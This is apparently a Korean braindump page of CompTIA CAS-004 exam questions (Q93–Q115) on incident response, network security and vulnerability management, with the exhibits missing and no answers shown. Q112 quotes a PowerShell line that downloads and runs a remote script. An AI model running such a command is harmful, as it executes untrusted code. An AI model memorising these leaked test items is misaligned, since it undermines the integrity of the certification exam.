CAS-004 실제 문제 답안 PDF 100% 커버 실제 시험 문제 [Q93-Q115]

Q93. 분석가가 인터넷에 연결된 DNS 서버에 대한 취약성 스캔을 실행하고 다음과 같은 보고서를 받습니다:

분석가가 가장 중요한 취약점을 검증하기 위해 가장 먼저 사용해야 하는 도구는 다음 중 어느 것입니까?

Q94. 보안 이벤트를 조사하던 중 분석가가 사용자가 알 수 없는 출처에서 보낸 이메일 첨부 파일을 열었다는 증거를 발견합니다. 사용자가 첨부 파일을 연 직후 서버 그룹에서 대량의 네트워크 및 리소스 활동이 발생했습니다. 서버를 조사한 분석가는 48시간 이내에 돈을 지불하지 않으면 모든 데이터가 파괴된다는 랜섬웨어에 의해 서버가 암호화된 것을 발견합니다. 회사에는 랜섬웨어에 대한 대응 계획이 없습니다.
다음 중 분석가가 관리 팀에 인시던트를 보고한 후 취해야 할 다음 단계는 무엇인가요?

Q95. 잠재적 침해가 보고된 직후 보안 엔지니어는 조직 사고 대응 절차의 일환으로 해당 서버의 포렌식 이미지를 생성합니다. 이미지의 무결성을 보장하기 위해 다음 중 반드시 수행해야 하는 작업은 무엇인가요?

Q96. 보안 아키텍트가 다음과 같은 기업 방화벽 아키텍처 및 구성 제안을 검토하고 있습니다:

두 방화벽 모두 상태 저장형이며 레이어 7 필터링 및 라우팅을 제공합니다. 회사에는 다음과 같은 요구 사항이 있습니다:
웹 서버는 회사 네트워크에서 HTTP/S를 통해 모든 업데이트를 수신해야 합니다.
웹 서버는 인터넷과의 통신을 시작해서는 안 됩니다.
웹 서버는 사전 승인된 회사 데이터베이스 서버에만 연결해야 합니다.
직원의 컴퓨팅 장치는 포트 80과 443을 통해서만 웹 서비스에 연결해야 합니다.
다음 중 가장 안전한 방식으로 모든 요구 사항을 충족하기 위해 설계자가 권장해야 하는 것은 무엇인가요? (두 가지를 선택하세요.)

Q97. 서비스를 제공하기 위해 여러 타사 조직을 사용하는 대형 은행의 최고 정보 책임자(CIO)는 당사자들의 고객 데이터 취급 및 보안에 대해 우려하고 있습니다. 다음 중 위험을 가장 잘 관리하기 위해 구현해야 하는 것은 무엇인가요?

Q98. 조직은 재해 복구 및 운영 연속성을 계획하고 있습니다.
지침
다음 시나리오와 지침을 검토하세요. 각 관련 결과를 영향을 받은 호스트와 일치시킵니다.
시나리오 3을 적절한 호스트와 연결한 후 해당 호스트를 클릭하여 해당 발견 사항에 대한 적절한 수정 조치를 선택합니다.
각 검색 결과는 두 번 이상 사용할 수 있습니다.
언제든지 시뮬레이션의 초기 상태로 되돌리려면 모두 초기화 버튼을 클릭하세요.

Q99. 보안 분석가가 다음 취약성 평가 보고서를 검토하고 있습니다:

다음 중 인터넷 연결 호스트에 대한 공격을 최소화하기 위해 가장 먼저 패치해야 하는 것은 무엇인가요?

Q100. 한 회사에서 웹 서버가 경쟁사에 의해 침입당했을 가능성이 있다고 의심합니다. 보안 엔지니어가 웹 서버 로그를 검토한 결과 다음과 같은 사실을 발견했습니다:

보안 엔지니어는 개발자와 함께 코드를 살펴보고 다음 줄이 실행될 때 로그 항목이 생성되는지 확인합니다:

다음 중 회사가 구현해야 하는 적절한 보안 제어는 무엇인가요?

Q101. 회사 직원은 해외 출장 중 회사 시스템에 액세스할 수 없습니다. 회사 이메일 시스템은 지리적 위치에 따라 로그인을 차단하도록 구성되어 있지만 일부 직원이 여행 중에도 휴대폰으로 이메일이 계속 동기화된다고 보고합니다. 다음 중 가장 가능성이 높은 것은 무엇입니까? (2개를 선택하세요.)

Q102. 한 회사가 사이버 보안 방어를 강화하기 위해 네트워크 인프라에 집중하고 있습니다. 이 솔루션은 오탐으로 인해 합법적인 트래픽이 차단되지 않도록 회사 서비스의 가용성에 영향을 미치지 않아야 합니다.
다음 중 요구 사항을 충족하는 것은 무엇인가요?

Q103. 보안 분석가가 직원들이 보안팀에 보낸 일련의 의심스러운 이메일을 조사하고 있습니다. 이메일은 현재 비즈니스 파트너가 보낸 것으로 보이며 이미지나 URL이 포함되어 있지 않습니다. 회사에서 사용하는 보안 도구에 의해 메시지에서 이미지나 URL이 제거되지 않았으며, 이메일에는 일반 텍스트로만 다음과 같은 내용이 포함되어 있습니다.

보안 분석가는 다음 중 어떤 업무를 수행해야 하나요?

Q104. 웹 애플리케이션에서 심각도가 높은 취약점이 발견되어 기업에 도입되었습니다. 이 취약점으로 인해 권한이 없는 사용자가 오픈 소스 라이브러리를 사용하여 권한이 있는 사용자 정보를 볼 수 있습니다. 기업은 위험을 감수하고 싶지 않지만 개발자가 문제를 즉시 해결할 수 없습니다.
다음 중 문제가 해결될 때까지 위험을 허용 가능한 수준으로 줄이려면 다음 중 어떤 조치를 취해야 하나요?

Q105. 회사의 SOC가 특정 취약점을 활용하는 활성 캠페인에 대한 위협 인텔리전스를 수신했습니다.
회사는 이 적극적인 캠페인에 취약한지 여부를 확인하고자 합니다.
다음 중 회사가 이 결정을 내릴 때 사용해야 하는 것은 무엇인가요?

Q106. 감사자가 인시던트의 원인을 파악하기 위해 웹 애플리케이션의 로그를 검토하고 있습니다. 웹 애플리케이션 아키텍처 인터넷에 액세스할 수 있는 애플리케이션 로드 밸런서, 사설 서브넷의 여러 웹 서버, 애플리케이션 서버 및 데이터베이스 서버 1대를 계층형 구성으로 포함합니다. 애플리케이션 로드 밸런서는 로그를 저장할 수 없습니다. 다음은 샘플 로그 스니펫입니다:

감사인이 향후 사고의 원인을 추적할 수 있도록 하기 위해 다음 중 어떤 것을 권장해야 하나요?

Q107. 한 개발자가 회사를 위한 새로운 모바일 애플리케이션을 만들고 있습니다. 이 애플리케이션은 REST API와 TLS 1.2를 사용하여 외부 백엔드 서버와 안전하게 통신합니다. 이 구성으로 인해 회사는 HTTPS 가로채기 공격에 대해 우려하고 있습니다.
다음 중 이러한 유형의 공격에 가장 적합한 솔루션은 무엇인가요?

Q108. 한 취약점 분석가가 회사에서 내부적으로 개발한 소프트웨어에서 제로데이 취약점을 발견했습니다. 현재 취약점 관리 시스템에는 이 취약점에 대한 점검 기능이 없기 때문에 엔지니어에게 취약점 관리 시스템을 만들어 달라는 요청을 받았습니다.
다음 중 이러한 요구 사항을 충족하는 데 가장 적합한 것은 무엇인가요?

Q109. 다음 중 ICS에 출력할 전력량을 알려주는 제어 메시지에 암호화를 적용할 때 가장 중요한 보안 목표는 무엇입니까?

Q110. MDM 소프트웨어의 장치 이벤트 로그 소스는 다음과 같습니다:

다음 중 로그에서 디바이스가 제기하는 위험을 가장 잘 해결할 수 있는 보안 문제 및 대응 조치는 무엇인가요?

Q111. 보안 분석가가 다음과 같은 활동을 보여주는 여러 SIEM 이벤트를 발견합니다:

다음 중 분석가가 가장 먼저 취해야 할 대응 조치는 무엇인가요?

Q112. 한 보안 분석가가 외부 메일 서버에 대한 로그인 시도 실패 횟수가 꾸준히 증가하는 것을 발견했습니다. 분석가는 점프 박스 중 하나를 조사하는 동안 로그 파일에서 다음과 같은 내용을 확인했습니다: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl');whois
다음 중 다음 중 다음 단계의 공격을 경고하고 방지할 수 있는 보안 제어는 무엇인가요?

Q113. 한 회사가 해커가 인증 정보를 도용하여 반복적으로 보안 침해를 당하고 있습니다. 회사의 최고 정보 보안 책임자(CISO)는 생체 인식 및 토큰 기반 요소를 포함하여 사용자를 인증하기 위한 여러 가지 제어 기능을 설치했습니다. 각각의 제어 기능은 오버헤드와 복잡성을 증가시켰지만 추가 침해를 막는 데는 실패했습니다. 외부 컨설턴트가 인증 제어를 지원하기 위해 현재 시행 중인 프로세스를 평가하고 있습니다. 다음 중 무단 액세스의 위험을 가장 많이 줄일 수 있는 권장 사항은 무엇인가요?

Q114. 취약성 평가 엔드포인트에서 최신 결과에 대한 보고서를 생성했습니다. 보안 분석가는 보고서를 검토하고 해결해야 하는 항목의 우선순위 목록을 작성해야 합니다. 다음 중 분석가가 목록을 신속하게 작성하기 위해 사용해야 하는 것은 무엇인가요?

Q115. 한 회사가 지적 재산을 도난으로부터 보호하고자 합니다. 이 회사는 이미 ACL과 DAC를 적용했습니다.
다음 중 회사가 데이터 도난을 방지하기 위해 사용해야 하는 것은 무엇인가요?